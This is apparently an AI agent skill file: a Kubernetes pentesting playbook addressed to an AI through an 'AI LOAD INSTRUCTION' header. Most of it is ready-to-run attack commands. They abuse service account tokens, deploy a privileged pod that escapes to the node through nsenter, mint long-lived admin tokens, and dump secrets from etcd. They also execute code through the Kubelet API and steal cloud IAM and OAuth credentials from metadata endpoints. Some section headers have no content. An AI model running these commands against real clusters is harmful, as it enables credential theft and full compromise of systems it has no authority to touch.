kubernetes-pentesting（Kubernetes pentesting 搜索）

SKILL: Kubernetes Pentesting — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.

0. RELATED ROUTING

Before going deep, consider loading:

• container-escape-techniques for escaping from a compromised pod to the underlying node
• linux-privilege-escalation once on a node for escalating to root
• linux-lateral-movement for pivoting between nodes
• linux-security-bypass when Pod Security Standards or seccomp profiles restrict your actions
• ssrf-server-side-request-forgery when exploiting SSRF to reach the K8s API or cloud metadata

1. K8S API SERVER ACCESS

1.1 Anonymous Access Check

# Check if anonymous auth is enabled (default: limited in modern clusters)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis

# Common API server ports:
# 6443 — secure API (default)
# 8443 — alternative secure
# 8080 — insecure API (legacy, no auth needed)

1.2 Token-Based Authentication (from inside pod)

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods

1.3 Certificate / Kubeconfig Authentication

# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces

2. RBAC ENUMERATION

2.1 Self-Permission Check

# What can I do?
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system

# Specific checks
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'     # Full cluster admin?

# Via API (from inside pod):
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"

2.2 Role and ClusterRole Enumeration

kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME

# Find overprivileged roles (wildcard verbs/resources):
kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'

2.3 Dangerous RBAC Permissions

3. SERVICE ACCOUNT TOKEN ABUSE

3.1 Token Location and Decoding

# Default mount point
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Decode JWT (no verification needed)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Shows: namespace, service account name, expiry

3.2 Escalation via Service Account

# If SA has elevated permissions — dump secrets, create privileged pod:
kubectl get secrets --all-namespaces
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata: { name: privesc }
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"]
    securityContext: { privileged: true }
    volumeMounts: [{ name: hostfs, mountPath: /host }]
  volumes: [{ name: hostfs, hostPath: { path: / }}]
EOF

3.3 Token Generation

# If serviceaccounts/token create permission:
kubectl create token admin-sa -n kube-system --duration=87600h

4. ETCD DIRECT ACCESS

# Check anonymous access (port 2379 on master nodes):
curl -sk https://ETCD_IP:2379/version

# With certs from master node (/etc/kubernetes/pki/etcd/):
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \
  --cacert=ca.crt --cert=server.crt --key=server.key \
  get / --prefix --keys-only | grep secrets

# Dump specific secret:
ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret

5. POD ESCAPE TO NODE

See container-escape-techniques for detailed escape chains.

Quick reference for K8s-specific vectors:

6. KUBELET API (Port 10250/10255)

curl -sk https://NODE_IP:10250/pods        # Anonymous access check
# 10255 = read-only (legacy, HTTP)

# Exec into pod via Kubelet (bypasses API server RBAC):
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"

# Read logs:
curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME

7. CLOUD-SPECIFIC ATTACKS

7.1 AWS EKS — IMDS Access

# From inside a pod (if IMDSv1 or no hop limit enforced):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns IAM role name, then:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)

# IMDSv2 (token required):
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# EKS-specific: IRSA (IAM Roles for Service Accounts)
# Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE

7.2 GCP GKE — Metadata API

# GCE metadata server
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Returns OAuth2 access token

# List available scopes
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

# GKE Workload Identity (if configured):
# The pod's SA is mapped to a GCP SA
# Token automatically available for GCP API calls

7.3 Azure AKS — Managed Identity

# Azure IMDS
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns Azure access token

# AKS Pod Identity / Workload Identity
# Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars
env | grep AZURE

8. ADMISSION WEBHOOK BYPASS

9. CONTAINER REGISTRY ACCESS

# Extract pull secrets (dockerconfigjson):
kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'

# Pull + inspect images for hardcoded secrets:
docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc

10. NETWORK POLICY ENUMERATION & BYPASS

kubectl get networkpolicies --all-namespaces
# Find namespaces without policies (default allow-all):
for ns in $(kubectl get ns -o name | cut -d/ -f2); do
    [ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns"
done

Bypass strategies: DNS exfiltration (port 53 rarely blocked), allowed port tunneling, pod in unprotected namespace, hostNetwork: true bypasses pod network policies entirely.

11. TOOLS

12. KUBERNETES PENTESTING DECISION TREE

Access to Kubernetes environment?
│
├── Inside a pod?
│   ├── Read SA token → check RBAC permissions (§2.1)
│   │   ├── Can create pods? → privileged pod escape (§3.2)
│   │   ├── Can read secrets? → dump all secrets (§3.2)
│   │   ├── Can exec into pods? → pivot to other pods
│   │   └── Minimal permissions → try Kubelet API (§6)
│   │
│   ├── Cloud environment?
│   │   ├── AWS → check IMDS for IAM creds (§7.1)
│   │   ├── GCP → check metadata for OAuth token (§7.2)
│   │   └── Azure → check IMDS for managed identity (§7.3)
│   │
│   └── Escape to node? → load container-escape-techniques
│
├── Access to node?
│   ├── kubeconfig found? → full cluster access (§1.3)
│   ├── etcd accessible? → dump all secrets (§4)
│   ├── Kubelet cert/key? → API server access
│   └── Static pod manifests? → create privileged static pod (§8)
│
├── External access only?
│   ├── API server exposed? → anonymous/token check (§1)
│   ├── Kubelet 10250 exposed? → direct pod exec (§6)
│   ├── etcd 2379 exposed? → direct secret dump (§4)
│   └── Dashboard/UI exposed? → authentication bypass
│
├── RBAC escalation path?
│   ├── escalate/bind permissions? → grant cluster-admin (§2.3)
│   ├── impersonate permission? → act as admin (§2.3)
│   ├── serviceaccounts/token create? → mint admin token (§3.3)
│   └── Overprivileged clusterrole? → abuse wildcards (§2.2)
│
└── No direct escalation?
    ├── Enumerate network policies → find unprotected namespaces (§10)
    ├── Check admission webhooks → find bypass (§8)
    ├── Pull registry images → search for secrets (§9)
    └── Scan nodes for exposed services → Kubelet, etcd